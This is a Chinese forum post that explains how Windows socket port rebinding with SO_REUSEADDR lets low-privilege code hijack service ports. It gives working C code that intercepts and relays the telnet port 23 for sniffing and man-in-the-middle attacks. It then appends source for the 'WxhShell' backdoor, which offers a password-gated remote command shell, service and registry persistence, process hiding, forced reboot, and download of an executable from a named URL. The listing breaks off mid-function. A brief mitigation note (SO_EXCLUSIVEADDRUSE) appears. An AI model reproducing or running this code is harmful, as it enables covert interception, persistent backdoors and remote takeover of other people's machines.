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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {YZ)IaqZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,{ CgOz+Ul  
^k&zX!W  
  saddr.sin_family = AF_INET; I9*o[Jp5  
 z:9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xou7j   
Dntcv|%u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $D5[12X  
Na: M1Uhb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?15k~1nA  
/b6Y~YbgU  
  这意味着什么?意味着可以进行如下的攻击: TFbCJ@X  
bL_s[-7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U y^Hh4|  
AKx\U?ei7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nQK@Uy5Yr  
8F($RnP3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Lv,~Mf1|  
JfKhYRl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z/ T|  
_tL+39 u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 acB,u&  
WhE5u&`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OzBo *X/p  
QNFA#`H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KQi9qj  
C yC<{D+  
  #include FMY r6/I  
  #include [ /*$?PXt  
  #include ({D.oS  
  #include    .6!]RA5!=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J&^r}6D  
  int main() 1w+On JI?  
  { FePJ8  
  WORD wVersionRequested; n-,~Bp [  
  DWORD ret; ]@l~z0^|[_  
  WSADATA wsaData; L6BHh_*E  
  BOOL val; FU!U{qDI  
  SOCKADDR_IN saddr; N\H{p %8  
  SOCKADDR_IN scaddr; \^EjE  
  int err; eC9~ wc  
  SOCKET s; M7yJ2u<Ty  
  SOCKET sc; M<7 <L   
  int caddsize; Bx E1Ky8@A  
  HANDLE mt; l,h#RTfry  
  DWORD tid;   IOF~V)8k=  
  wVersionRequested = MAKEWORD( 2, 2 ); v0X5`VV  
  err = WSAStartup( wVersionRequested, &wsaData ); '\1%%F7  
  if ( err != 0 ) { OW)8Z 60  
  printf("error!WSAStartup failed!\n"); aO "JT  
  return -1; gb@Rx  
  } |F<U;xV$p  
  saddr.sin_family = AF_INET; GY,@jp|R  
   0VoC|,$U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z T8. r0  
y>2v 9;Qp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %'\D _W&  
  saddr.sin_port = htons(23); pSQ3 SM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wX#\\Jgi  
  { U,iTURd  
  printf("error!socket failed!\n"); #` z!f0 P  
  return -1; s`C#=l4  
  } dp)lHBV  
  val = TRUE; ++,mM7a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZeWHSU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uo^s]H#:  
  { kKE 2~ q  
  printf("error!setsockopt failed!\n"); G2a fHL<  
  return -1; Iay7Fkv  
  } GD[~4G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :KX/`   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H=X>o.iVqi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zF)_t S  
m>:%[vm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q,u >`]}  
  { Uj k``;  
  ret=GetLastError(); Vz 5:73  
  printf("error!bind failed!\n"); 1b6gTfU  
  return -1; 2:p2u1Q O  
  } =AgY8cF!sl  
  listen(s,2); lBQ|=  
  while(1) 8H;TPa  
  { DX$`\PA  
  caddsize = sizeof(scaddr); L8bq3Q'p  
  //接受连接请求 "%f>/k;!h.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nkhM1y  
  if(sc!=INVALID_SOCKET) BD4.sd+H,  
  { ;i:Uoyi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (Egykh>  
  if(mt==NULL) aE,x>I 7 D  
  { /f%u_ 8pV%  
  printf("Thread Creat Failed!\n"); bL0+v@(r  
  break; DMf^>{[  
  } i":-g"d  
  } NPB':r-8  
  CloseHandle(mt); M?nnpO  
  }  .)cOu>  
  closesocket(s); -v jjcyTt  
  WSACleanup(); JAB]kNvI  
  return 0; }=f}@JlFB  
  }   <V6#)^Or  
  DWORD WINAPI ClientThread(LPVOID lpParam) JH)&Ca>S  
  { J8b]*2D  
  SOCKET ss = (SOCKET)lpParam; E&&80[tN]  
  SOCKET sc; "A/kL@-C  
  unsigned char buf[4096]; zZiB`%  
  SOCKADDR_IN saddr; U4N S.`V  
  long num; `M7){  
  DWORD val; e6F:['j  
  DWORD ret; r<|\4zIo/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cz T@txF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dk(-yv'  
  saddr.sin_family = AF_INET; }U^9(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [MiD%FfcNH  
  saddr.sin_port = htons(23); ZgXh[UHQy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H}U&=w'  
  { |LNXu  
  printf("error!socket failed!\n"); xE6y9"}!h  
  return -1; s?`)[K'-  
  } /`s^.Xh  
  val = 100; P$pl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P?0b-Qr$a  
  { Ak_;GvC!  
  ret = GetLastError(); U;jk+i  
  return -1; o9~qJnB/O  
  } pp{);  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U-lN_?  
  { "lz!'~im  
  ret = GetLastError(); yTDoS|B+)  
  return -1; "(C }Dn#  
  } e<C5}#wt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n[iil$VKh  
  { 5;|9bWH  
  printf("error!socket connect failed!\n"); 1qQgAhoY  
  closesocket(sc); rg'? ?rq  
  closesocket(ss); Pc(2'r@#  
  return -1; 3BSeZ:j7  
  } CZa9hsM  
  while(1) p}Gk|Kjlq,  
  { tICxAp:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 '[juPI(!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eq@ v2o7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 be764do  
  num = recv(ss,buf,4096,0); Eui;2P~  
  if(num>0) 71 A{"  
  send(sc,buf,num,0); d&ZwVF!  
  else if(num==0) 4\$Ze0tv  
  break; /60[T@Mz  
  num = recv(sc,buf,4096,0); $PTedJ}*Y  
  if(num>0) 7H[+iS0  
  send(ss,buf,num,0); )0GnTB;5Z  
  else if(num==0) O]PfQ  
  break; FF_$)%YUp  
  } XsR%_eT  
  closesocket(ss); <wSmfg,yF  
  closesocket(sc); 9m'[52{o  
  return 0 ; w"BTu-I  
  } h)<42Y  
ebao7r5@  
t|y4kM  
========================================================== W4#:_R,&,  
1mjv~W  
下边附上一个代码,,WXhSHELL 9|e"n|[  
/f6]XP\'`+  
========================================================== >WD^)W fa  
&FZe LIt  
#include "stdafx.h" 9iOlR=-*  
L;`4"  
#include <stdio.h> 5Px.G*  
#include <string.h> IB?A]oN1{  
#include <windows.h> Xt7'clr  
#include <winsock2.h> 21WqLgT3 4  
#include <winsvc.h> z`Q5J9_<cV  
#include <urlmon.h> NV91{o(-7  
b1& {%.3[  
#pragma comment (lib, "Ws2_32.lib") uo65i 1oi  
#pragma comment (lib, "urlmon.lib") BsRas  
pIrAGA;  
#define MAX_USER   100 // 最大客户端连接数 D!<$uAT  
#define BUF_SOCK   200 // sock buffer 0 /kbxpih  
#define KEY_BUFF   255 // 输入 buffer H\b5]q %  
zHU#Jjc_b  
#define REBOOT     0   // 重启 .*f;v4!  
#define SHUTDOWN   1   // 关机 >3kR~:;  
J`8>QMK^5  
#define DEF_PORT   5000 // 监听端口 s<dD>SU  
@t2 Q5c  
#define REG_LEN     16   // 注册表键长度 P0Jd6"sS"  
#define SVC_LEN     80   // NT服务名长度 $x)'_o}e  
$e;!nI;z  
// 从dll定义API dyp] y$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mu( Y6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FlgB-qR]<n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E:o:)h?$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D4vmBVT  
A,og9<+j-  
// wxhshell配置信息 -'N#@Wdr  
struct WSCFG { Nb8<8O ^  
  int ws_port;         // 监听端口 E*I]v  
  char ws_passstr[REG_LEN]; // 口令 dSL %%  
  int ws_autoins;       // 安装标记, 1=yes 0=no S]o  
  char ws_regname[REG_LEN]; // 注册表键名 #wd \&  
  char ws_svcname[REG_LEN]; // 服务名 .;F+ QP0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N 4v)0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2(rZ@Wl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]q3Kd{B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7E5Dz7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T7T!v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <F3sQAe  
aK>9:{]ez  
}; ]EcZ|c7o9y  
/j)VES  
// default Wxhshell configuration g@y" B6X  
struct WSCFG wscfg={DEF_PORT, X|QCa@Foe  
    "xuhuanlingzhe", '-S&i{H  
    1, LWL>hd  
    "Wxhshell", P3yiJ|vP  
    "Wxhshell", StDmJ]  
            "WxhShell Service", dbuOiZ  
    "Wrsky Windows CmdShell Service", =5/;h+bk+3  
    "Please Input Your Password: ", PHK#b.B>a8  
  1, d-<y'GYw  
  "http://www.wrsky.com/wxhshell.exe", h.9Lh ;j  
  "Wxhshell.exe" oe*&w9Y}&  
    }; uy9B8&Sr  
pjCWg 4ya  
// 消息定义模块 ) e2IT*7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yUSB{DLpla  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u`'z~N4}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .fsk DW  
char *msg_ws_ext="\n\rExit."; +7Lco"\w<  
char *msg_ws_end="\n\rQuit."; /C:'qhY,  
char *msg_ws_boot="\n\rReboot..."; } E#+7a  
char *msg_ws_poff="\n\rShutdown..."; j'i42-Lt/p  
char *msg_ws_down="\n\rSave to "; Z :9VxZ  
j~E +6f \  
char *msg_ws_err="\n\rErr!"; lp}WBd+  
char *msg_ws_ok="\n\rOK!"; ^'fKey`  
[4hO3):F  
char ExeFile[MAX_PATH]; -h@0 1  
int nUser = 0; xI: 'Hk1  
HANDLE handles[MAX_USER]; UvZ@"El  
int OsIsNt; ;a3nH  
D,n}Qf!GYk  
SERVICE_STATUS       serviceStatus; Xe SbA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; # VV.[ N  
Doh|G:P]#  
// 函数声明 KYu(H[a  
int Install(void); Y+ Z9IiS7  
int Uninstall(void); 0GYEt  
int DownloadFile(char *sURL, SOCKET wsh); !:<UgbiVv  
int Boot(int flag); Inc:t_  
void HideProc(void); &a=e=nR5  
int GetOsVer(void); 6XAr8mw9  
int Wxhshell(SOCKET wsl); AMd)d^;  
void TalkWithClient(void *cs); bVeTseAG  
int CmdShell(SOCKET sock); =[K)<5,@  
int StartFromService(void); ]pV1T  
int StartWxhshell(LPSTR lpCmdLine); E.`d k.  
{?mQqoZ?.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !ix<|F5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IOkC[([  
l>UUaf|O  
// 数据结构和表定义 GeaDaYh#T  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Mu8ZVI{  
{ o$ce1LO?|N  
{wscfg.ws_svcname, NTServiceMain}, Dw=Z_+J  
{NULL, NULL} n6-Ic',;  
}; v7(|K  
@sHw+to|p)  
// 自我安装 :#[_Osmf(  
int Install(void) +w.Kv ;  
{ _qeuVi=A  
  char svExeFile[MAX_PATH]; VMIX$#  
  HKEY key; 9I\3T6&tr  
  strcpy(svExeFile,ExeFile); ARdGh_yJ&  
FMd LkyK;  
// 如果是win9x系统,修改注册表设为自启动 bjBeiKH  
if(!OsIsNt) { )c*k _/ 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5g1M_8e'+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q83~j `ZJ$  
  RegCloseKey(key); GD[ou.C}k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *sB-scD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B`B%:#  
  RegCloseKey(key); XLmMK{gs  
  return 0; o~x39  
    } '95E;RV&  
  } Yb\\ w<@g  
} z g7l>9Sc  
else { d%lHa??/ h  
I\upnEKKzZ  
// 如果是NT以上系统,安装为系统服务 [9O~$! <%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aGe(vQPi9  
if (schSCManager!=0) zZ9<4"CIk  
{ hO/5>Zv?  
  SC_HANDLE schService = CreateService V 7l{hEo3?  
  ( 1_NG+H]x9  
  schSCManager, hOB\n!  
  wscfg.ws_svcname, %A62xnX  
  wscfg.ws_svcdisp, .ts0LDk0f  
  SERVICE_ALL_ACCESS, tP`G]BCbt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QM ZUt  
  SERVICE_AUTO_START, '}Wu3X  
  SERVICE_ERROR_NORMAL, `(,*IK a  
  svExeFile, adI!W-/R:  
  NULL, $% Ci8p  
  NULL, qo6LC>Qg  
  NULL, >&;>PZBPCO  
  NULL, l#b|@4:I  
  NULL /S]:dDY9K  
  ); [vWkAJ'K  
  if (schService!=0) `pi-zE)  
  { t0bhXFaiE  
  CloseServiceHandle(schService); \- =^]]b=  
  CloseServiceHandle(schSCManager); sm;E2BR$ `  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QtY hg$K3  
  strcat(svExeFile,wscfg.ws_svcname); b0YiQjS6>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nuSN)}b<Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ug7`ez4vw  
  RegCloseKey(key); -XVEV  
  return 0; !ww:O|0  
    } j/H>0^  
  } c6,s+^^  
  CloseServiceHandle(schSCManager); l Io9,Ke  
} F#1 Kk#t  
} 1l+kO,X]  
5L-lpT8P  
return 1; [0u.}c;(  
} EmX>T>~#D  
9zZ5Lr^21  
// 自我卸载 ;%u_ ;,((  
int Uninstall(void) Q(|PZn g  
{ 2W3NL|P  
  HKEY key; id;#{O$  
b96t0w!cs  
if(!OsIsNt) { 7uPZuXHxcu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r$GPYyHK  
  RegDeleteValue(key,wscfg.ws_regname); l'*^$qc  
  RegCloseKey(key); k0|`y U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ietRr!$.  
  RegDeleteValue(key,wscfg.ws_regname); sI&i{D  
  RegCloseKey(key); xF( bS+(o  
  return 0; [1{SY=)  
  } 6<x~Mk'u)  
} Xhcn]  
} 4$ Dt8!p0  
else { R_1)mPQ^P  
,VNi_.W0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iHAU|`'N)  
if (schSCManager!=0) b7B+eN ?z  
{ :}y9$p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ap5}5 ewM  
  if (schService!=0) |[S90Gw]  
  {  hv+|s(  
  if(DeleteService(schService)!=0) { 3 p/b  
  CloseServiceHandle(schService); "]VDY)  
  CloseServiceHandle(schSCManager); gi6g"~%@q1  
  return 0; Deg!<[Nw  
  } ^WE4*.(  
  CloseServiceHandle(schService); +|y*}bG  
  } |K L')&"  
  CloseServiceHandle(schSCManager); XE_ir Et  
} ?y ~TCqV  
} O: ,$%  
}]AT _bh,  
return 1; @j O4EEe:  
} v*E(/}<v  
5Sr4-F+@%  
// 从指定url下载文件 V0K16#}1gM  
int DownloadFile(char *sURL, SOCKET wsh) j-7u>s-l  
{ f UC9-?(K  
  HRESULT hr; L0rip5[;d  
char seps[]= "/"; ;{vwBDV!'  
char *token; CuH2E>wz  
char *file; !fY7"E{%%  
char myURL[MAX_PATH]; ypx: )e"/  
char myFILE[MAX_PATH]; HTmI1  
)Im3'0l>  
strcpy(myURL,sURL); ,7GWB:Sk  
  token=strtok(myURL,seps); gtiEhCF2W  
  while(token!=NULL) qv[[Q[RK-5  
  { $ +;+:K  
    file=token; /;?M?o"H  
  token=strtok(NULL,seps); Xka<I3UD5  
  } U@G"`RYl  
a1Hz3y~S/  
GetCurrentDirectory(MAX_PATH,myFILE); *G9sy_  
strcat(myFILE, "\\"); Nln`fE/Ht  
strcat(myFILE, file); 5W/{h q8}}  
  send(wsh,myFILE,strlen(myFILE),0); -LtK8wl^  
send(wsh,"...",3,0); m9in1RI%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +`@M*kd  
  if(hr==S_OK) q\%cFB}  
return 0; <aJ $lseG  
else ,`k _|//}=  
return 1; K]c4"JJ  
kb71q:[  
} >M]6uf  
:\XI0E  
// 系统电源模块 rQ/ ,XH  
int Boot(int flag) _AFQ>j  
{ 62)d22  
  HANDLE hToken; NzQ9Z1Mxy  
  TOKEN_PRIVILEGES tkp; : [q0S@  
Z(j{F<\jS  
  if(OsIsNt) { A /(lKq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e,>%Z@92(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bB!#:j>(v  
    tkp.PrivilegeCount = 1; 8) N@qUV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .N,&Uv-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "- 31'R-  
if(flag==REBOOT) { UiH!Dl}<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cvnB!$eji  
  return 0; ,R?np9wc  
} $&{ti.l  
else { =-NiO@5o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :_5/u|{  
  return 0; !gF9k8\Yr$  
} :4:N f  
  } aTd D`h  
  else { qFco3  
if(flag==REBOOT) { hn.bau[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $Az^Y0[D  
  return 0; 'fx UV<K&  
} 9T7e\<8"vC  
else { ]5}=^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8S]".  
  return 0; (hB?  
} "9IYB)Js  
} OtJ\T/q,  
%<"}y$J  
return 1; 6sJw@Oa J  
} ?^i1_v7 Bi  
0V$k7H$Z  
// win9x进程隐藏模块 4[yIOs  
void HideProc(void) ?WUF!Jk  
{ +-<}+8G;  
W#'c 5:m 4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VA] e  
  if ( hKernel != NULL ) 1TS0X:TCn  
  { jCioE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -`b8T0?oK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `Out(Hn  
    FreeLibrary(hKernel); ]5 Qy  
  } zce`\ /:  
U!(@q!>G  
return; \3Pv# )  
} ~j>D=!  
0v)bA}k  
// 获取操作系统版本 %zBCq"y  
int GetOsVer(void)  Es5f*P0  
{ m/B6[  
  OSVERSIONINFO winfo; N~^yL<O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {2&m`D bm  
  GetVersionEx(&winfo); JIm4vS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T!RT<&  
  return 1; 1PH: \0}  
  else 'G&{GVbXY  
  return 0; Pq9|WV#F5/  
} yWDTjY/  
jN31hDg<z  
// 客户端句柄模块 Z[Qza13lo  
int Wxhshell(SOCKET wsl) r H8@69,B  
{ B9R(&<4  
  SOCKET wsh; ^qGb%! l  
  struct sockaddr_in client; kDvc" ,SD#  
  DWORD myID; 0NDftcB]  
*\}}Bv+9  
  while(nUser<MAX_USER) mLh kI!4[  
{ dS2G}L^L  
  int nSize=sizeof(client); j;b42G~p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p;T{i._iL  
  if(wsh==INVALID_SOCKET) return 1; wh6yPVVF/  
Fd]\txOXj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B* kcN lW  
if(handles[nUser]==0) P{OAV+cG  
  closesocket(wsh); NLS"eD m  
else fKH7xu!V4+  
  nUser++; v+ 7kU=  
  } #:jb*d?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {\H/y c|@  
54lu2gD'  
  return 0; mw$r$C{  
} aNcd` $0  
S$TmZk=  
// 关闭 socket M<O{O}t<  
void CloseIt(SOCKET wsh) Vd^g9  
{ E 99hlY~1:  
closesocket(wsh); $YxBE`)d-  
nUser--; (*}yjUYLZ  
ExitThread(0); j9Yb x#  
} ^G&3sF}  
^d}gpin  
// 客户端请求句柄 }KUd7[s  
void TalkWithClient(void *cs) aj8A8ma*}  
{ +T/FeVQ  
q<y#pL=k"*  
  SOCKET wsh=(SOCKET)cs; o[oM8o<  
  char pwd[SVC_LEN]; m!<i0thJ  
  char cmd[KEY_BUFF]; m>USD? i  
char chr[1]; >~%e$a7}+  
int i,j; +#U|skl  
dr)YzOvba  
  while (nUser < MAX_USER) { 6+r$t#  
n0Y+b[ +wj  
if(wscfg.ws_passstr) { _Zk{!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NBl+_/2'w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )?+$x[f!*  
  //ZeroMemory(pwd,KEY_BUFF); 1b=lpw 1}  
      i=0; oSiMpQu08  
  while(i<SVC_LEN) { |4$M]Mf0  
E_Z{6&r  
  // 设置超时 X%z }VA  
  fd_set FdRead; ahx>q  
  struct timeval TimeOut; JB!:JML  
  FD_ZERO(&FdRead); sn7AR88M;  
  FD_SET(wsh,&FdRead); |*Z$E$k:  
  TimeOut.tv_sec=8; R_M?dEtE>  
  TimeOut.tv_usec=0; b0 iSn#$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S$KFf=0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kEwaT$  
~ wg:!VWA)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]7-&V-Ct*  
  pwd=chr[0]; F, U*yj  
  if(chr[0]==0xd || chr[0]==0xa) { SGb;!T *  
  pwd=0; =*p/F  
  break; +"9hWb5  
  } +)JpUqHa  
  i++; h(WrL  
    } dJ$"l|$$  
fXrXV~'8  
  // 如果是非法用户,关闭 socket d%l{V6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^u 3V E  
} f0Bto/,>~  
LU!dN"[k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h-iJlm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rG,5[/l  
3u%{dGa  
while(1) { j+>J,axU!  
Gy=B&boZ  
  ZeroMemory(cmd,KEY_BUFF); G)?9.t_Lj-  
gV&z2S~"  
      // 自动支持客户端 telnet标准   5 ae2<Y=  
  j=0; ,{\Bze1fn  
  while(j<KEY_BUFF) { t_mIOm)S%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y:v,j42%  
  cmd[j]=chr[0]; ySI~{YVM  
  if(chr[0]==0xa || chr[0]==0xd) { 9 \^|6k,  
  cmd[j]=0; Mq';S^  
  break; AwQ?l(iZ"p  
  } % ,+leKs  
  j++; k,euhA/&  
    } H'Yh2a`!o  
f/CuE%7BR  
  // 下载文件 4CGPO c  
  if(strstr(cmd,"http://")) { ^eW}XRI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J\ e+}{  
  if(DownloadFile(cmd,wsh)) $9?cP`hmi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5`f@>r?  
  else &89 oO@5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iNMx"F0r  
  } 2NB L}x  
  else { qJ0fQI\  
)BRKZQN  
    switch(cmd[0]) { eh"3NRrN  
  lJ@][;  
  // 帮助 *)+ut(x|#  
  case '?': { Z@hD(MS(C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m&|`x  
    break; 7FRmx 4(!  
  } IIq1\khh  
  // 安装 ;sHN/eF  
  case 'i': { >>[ G1   
    if(Install()) qKJSj   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!;|ld  
    else |!y A@y?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4H@Wc^K  
    break; |HZTN"  
    } pmX#E  
  // 卸载 T?4G'84nN  
  case 'r': { 8i?l02  
    if(Uninstall()) .7n\d55a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EUIIr4]  
    else .!JVr"8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *OQG 4aWy  
    break; OgX6'E\E  
    } ETB6f  
  // 显示 wxhshell 所在路径 O:da-xWJ  
  case 'p': { +f[ED4E>'(  
    char svExeFile[MAX_PATH]; I$8" N]/C  
    strcpy(svExeFile,"\n\r"); NH3cq  
      strcat(svExeFile,ExeFile); z $MV%F  
        send(wsh,svExeFile,strlen(svExeFile),0); vVL@K,q  
    break; `9 {mr<  
    } [e1S^pI  
  // 重启 s|D>-  
  case 'b': { LdB($4,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3"rzb]=R  
    if(Boot(REBOOT)) 1h.)#g?{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.z&P'  
    else {  [~&XL0  
    closesocket(wsh); .; &# )l  
    ExitThread(0); A'nq}t 3  
    } Znetzm=0  
    break; cW+t#>' r  
    } ^ "\R\COQ  
  // 关机 _D|^.)=U|  
  case 'd': { f  nI|  
